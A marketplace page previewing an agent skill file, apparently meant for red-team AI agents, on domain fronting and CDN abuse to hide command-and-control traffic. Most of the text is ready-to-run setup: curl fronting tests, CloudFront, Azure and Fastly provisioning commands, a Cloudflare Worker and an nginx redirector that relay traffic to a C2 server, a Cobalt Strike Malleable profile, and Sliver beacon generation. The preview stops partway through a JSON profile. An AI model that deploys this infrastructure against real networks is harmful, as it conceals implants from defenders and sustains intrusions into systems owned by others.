Skip to main content

c2-domain-fronting

Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.

Ir a la instalación

Datos de origen

Repositorio
BitterSecurity/Decepticon
Última actividad en el origen
29 de junio de 2026 a las 01:38
Idioma detectado de SKILL.md
inglés
Estrellas
5565
Forks
1053

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

Mostrando SKILL.md

SKILL.md
Instrucciones de origen · Vista previa de solo lectura
name
c2-domain-fronting
description
Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.
allowed-tools
Bash Read Write
metadata
{"subdomain":"command-and-control","when_to_use":"domain fronting, CDN c2, cloudfront c2, azure cdn, fastly, SNI mismatch, cdn redirector, fronting profile","tags":"c2, domain-fronting, cdn, cloudfront, azure-cdn, fastly, sni, redirector, opsec","mitre_attack":"T1090.004, T1102.002, T1001"}
# Domain Fronting & CDN Abuse for C2 Domain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., `cdn.microsoft.com`) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN. ## Quick Reference ```bash # Test domain fronting via CloudFront curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search # Test Azure CDN fronting curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test # Sliver HTTPS listener with domain fronting https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN> # Cobalt Strike — set in Malleable C2 profile # header "Host" "<C2_DISTRIBUTION>.cloudfront.net"; ``` ## MITRE ATT&CK Mapping | Technique | ID | Usage in Skill | |-----------|----|----------------| | Proxy: Domain Fronting | T1090.004 | CDN-based SNI/Host header mismatch for C2 | | Web Service: Bidirectional Communication | T1102.002 | CDN edge as bidirectional C2 relay | | Data Obfuscation | T1001 | C2 traffic disguised as CDN content requests | ## 1. The Domain Fronting Technique ### How It Works ``` ┌─────────┐ TLS SNI: allowed.example.com ┌──────────┐ │ Implant │ ─────────────────────────────────► │ CDN │ │ │ Host: c2.attacker.cloudfront.net │ Edge │ └─────────┘ └────┬─────┘ │ Routes by Host header ▼ ┌──────────┐ │ C2 Origin│ │ Server │ └──────────┘ ``` **TLS layer (visible to network monitor):** - SNI = `allowed.example.com` (high-reputation domain on same CDN) - Certificate = CDN wildcard cert (e.g., `*.cloudfront.net`) - IP = CDN edge node **HTTP layer (inside TLS, invisible to monitor):** - `Host: c2-distribution.cloudfront.net` → CDN routes to operator's origin **Result:** Blocking the C2 requires blocking the entire CDN. ### Requirements 1. CDN that routes by Host header (not all do — see provider matrix) 2. A legitimate high-reputation domain on the same CDN for the SNI 3. Operator's C2 server registered as a CDN origin/backend 4. The CDN must not enforce SNI == Host (many now do) ## 2. CloudFront Domain Fronting ### Setup ```bash # 1. Create CloudFront distribution pointing to C2 origin aws cloudfront create-distribution \ --origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \ --default-root-object index.html \ --query 'Distribution.DomainName' # Returns: d1234abcdef.cloudfront.net # 2. Find a frontable domain (legitimate site on CloudFront) # Use: dig <CANDIDATE_DOMAIN> — look for CNAME to *.cloudfront.net dig allowed-domain.com CNAME +short # Output: d9876xyz.cloudfront.net. → same CDN, usable as front # 3. Test fronting curl -v -H "Host: d1234abcdef.cloudfront.net" \ https://allowed-domain.com/beacon # Successful: HTTP 200 from your C2 origin # Failed: HTTP 403 "The request could not be satisfied" — front domain not viable ``` ### CloudFront Configuration ```bash # Create distribution via JSON config cat > /workspace/c2/cloudfront-config.json << 'EOF' { "CallerReference": "c2-$(date +%s)", "Origins": { "Items": [{ "Id": "c2-origin", "DomainName": "<C2_ORIGIN>", "CustomOriginConfig": { "HTTPPort": 80, "HTTPSPort": 443, "OriginProtocolPolicy": "https-only" } }], "Quantity": 1 }, "DefaultCacheBehavior": { "TargetOriginId": "c2-origin", "ViewerProtocolPolicy": "https-only", "AllowedMethods": { "Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"], "Quantity": 7 }, "ForwardedValues": { "QueryString": true, "Cookies": {"Forward": "all"}, "Headers": {"Items": ["*"], "Quantity": 1} }, "MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0 }, "Enabled": true, "Comment": "" } EOF aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.json ``` ### Current Status (CloudFront) > **AWS partially mitigated domain fronting in 2018.** CloudFront now validates that the Host header matches a configured CNAME or the distribution's own domain. Pure cross-distribution fronting is blocked. However: > - Fronting within the same distribution (multiple CNAMEs) still works > - Fronting to distributions without custom domains may work intermittently > - CloudFront Functions can be used to rewrite headers before origin routing ## 3. Azure CDN Domain Fronting Azure CDN (via Verizon/Akamai POP) has historically been more permissive with Host header routing. ### Setup ```bash # 1. Create Azure CDN profile and endpoint az cdn profile create --name c2-cdn --resource-group <RG> --sku Standard_Verizon az cdn endpoint create \ --name <C2_ENDPOINT> \ --profile-name c2-cdn \ --resource-group <RG> \ --origin <C2_ORIGIN> \ --origin-host-header <C2_ORIGIN> # Endpoint: <C2_ENDPOINT>.azureedge.net # 2. Test fronting with a high-reputation Azure CDN domain curl -v -H "Host: <C2_ENDPOINT>.azureedge.net" \ https://ajax.aspnetcdn.com/test # 3. Alternative fronting domains on Azure CDN: # - ajax.aspnetcdn.com # - az416426.vo.msecnd.net # - Various *.azureedge.net endpoints ``` ### Azure-Specific Notes - Azure has been tightening validation since 2021 - `Standard_Microsoft` SKU enforces SNI/Host matching — use `Standard_Verizon` - Azure Front Door provides similar capabilities with more control - Test each frontable domain before deployment; availability changes ## 4. Fastly Domain Fronting Fastly's architecture makes fronting straightforward when a target domain shares the Fastly POP. ### Setup ```bash # 1. Create Fastly service via API curl -X POST "https://api.fastly.com/service" \ -H "Fastly-Key: <API_TOKEN>" \ -H "Content-Type: application/json" \ -d '{"name":"c2-service","type":"vcl"}' # 2. Add backend (C2 origin) curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/backend" \ -H "Fastly-Key: <API_TOKEN>" \ -d "name=c2-origin&address=<C2_ORIGIN>&port=443&use_ssl=1" # 3. Add domain curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/domain" \ -H "Fastly-Key: <API_TOKEN>" \ -d "name=c2-front.global.ssl.fastly.net" # 4. Activate version curl -X PUT "https://api.fastly.com/service/<SVC_ID>/version/<VER>/activate" \ -H "Fastly-Key: <API_TOKEN>" # 5. Test curl -v -H "Host: c2-front.global.ssl.fastly.net" \ https://legitimate-customer.global.ssl.fastly.net/beacon ``` ## 5. CDN-Based Redirectors When pure domain fronting is unavailable, CDN edge functions (CloudFront Functions, Cloudflare Workers, Fastly Compute) act as smart redirectors. ### Cloudflare Worker Redirector ```javascript // Cloudflare Worker — proxies C2 traffic to origin // Deploy on a legitimate-looking domain (e.g., analytics-cdn.example.com) addEventListener("fetch", event => { event.respondWith(handleRequest(event.request)); }); async function handleRequest(request) { const C2_ORIGIN = "https://<C2_SERVER>"; const url = new URL(request.url); // Only proxy specific paths (blend with legitimate 404s on others) if (!url.pathname.startsWith("/api/v2/")) { return new Response("Not Found", { status: 404 }); } // Forward to C2 origin const c2Url = C2_ORIGIN + url.pathname + url.search; const modifiedRequest = new Request(c2Url, { method: request.method, headers: request.headers, body: request.body }); const response = await fetch(modifiedRequest); // Strip identifying headers from response const modifiedResponse = new Response(response.body, response); modifiedResponse.headers.set("Server", "cloudflare"); modifiedResponse.headers.delete("X-Powered-By"); return modifiedResponse; } ``` ### Nginx Redirector (On CDN Origin) ```nginx # /etc/nginx/sites-available/c2-redirect.conf # Sits behind CDN; forwards matching requests to teamserver server { listen 443 ssl; server_name <C2_ORIGIN>; ssl_certificate /etc/letsencrypt/live/<C2_ORIGIN>/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/<C2_ORIGIN>/privkey.pem; # Proxy Beacon traffic to teamserver location /s/ref { proxy_pass https://127.0.0.1:8443; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_ssl_verify off; } location /gp/product { proxy_pass https://127.0.0.1:8443; proxy_set_header Host $host; proxy_ssl_verify off; } # Return legitimate content for other paths (categorization) location / { root /var/www/html; index index.html; } } ``` ## 6. Cobalt Strike Integration ### Malleable C2 Profile for Domain Fronting ``` # /workspace/profiles/fronting.profile set sample_name "CDN Fronting Profile"; set sleeptime "60000"; set jitter "40"; set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"; set host_stage "false"; https-certificate { # Use the CDN's certificate — no custom cert needed # The CDN terminates TLS; origin connection is separate set CN "*.cloudfront.net"; set O "Amazon"; set C "US"; } http-get { set uri "/s/ref=nb_sb_noss_2"; client { header "Accept" "*/*"; header "Accept-Language" "en-US,en;q=0.5"; # This is the critical header — CDN routes by it header "Host" "<C2_DISTRIBUTION>.cloudfront.net"; metadata { base64url; header "Cookie"; } } server { header "Content-Type" "text/html; charset=utf-8"; header "Server" "CloudFront"; header "X-Cache" "Hit from cloudfront"; output { netbios; prepend "<!DOCTYPE html><html><body>"; append "</body></html>"; print; } } } http-post { set uri "/api/v2/submit"; client { header "Content-Type" "application/json"; header "Host" "<C2_DISTRIBUTION>.cloudfront.net"; id { base64url; header "X-Request-Id"; } output { base64url; print; } } server { header "Content-Type" "application/json"; output { netbios; prepend "{\"status\":\"ok\",\"payload\":\""; append "\"}"; print; } } } ``` ### Beacon Configuration ``` # In Cobalt Strike listener config: # HTTPS Host (stager): <FRONTABLE_DOMAIN> # HTTPS Host (post): <FRONTABLE_DOMAIN> # HTTPS Port: 443 # Profile: fronting.profile (loaded at teamserver start) # # The listener binds on the teamserver; the CDN proxies traffic to it. # The Beacon connects to <FRONTABLE_DOMAIN>:443 (CDN edge). # The Host header routes to <C2_DISTRIBUTION>.cloudfront.net -> C2 origin. ``` ## 7. Sliver Integration ### Sliver HTTPS with Domain Fronting ```bash # In Sliver console: # 1. Start HTTPS listener on C2 origin https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN> # 2. Generate implant that connects to frontable domain generate beacon --https <FRONTABLE_DOMAIN> --os windows --arch amd64 \ --seconds 60 --jitter 40 --skip-symbols \ --save /workspace/exploit/ # 3. Custom HTTP C2 profile for fronting # Save as profiles/fronting.json ``` ### Sliver HTTP C2 Profile for Fronting ```json { "implant_config": { "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "url_parameters": [], "headers": [ {"name": "Host", "value": "<C2_DISTRIBUTION>.cloudfront.net", "probability": 100}, {"name": "Accept", "value": "text/html", "probability": 100} ] }, "server_config": { "headers": [ {"name": "Content-Type", "value": "text/html; charset=utf-8", "probability": 100},
Ver en GitHub
Este SKILL.md es muy grande, por eso SkillsMP muestra aqui solo la primera seccion. Ver en GitHub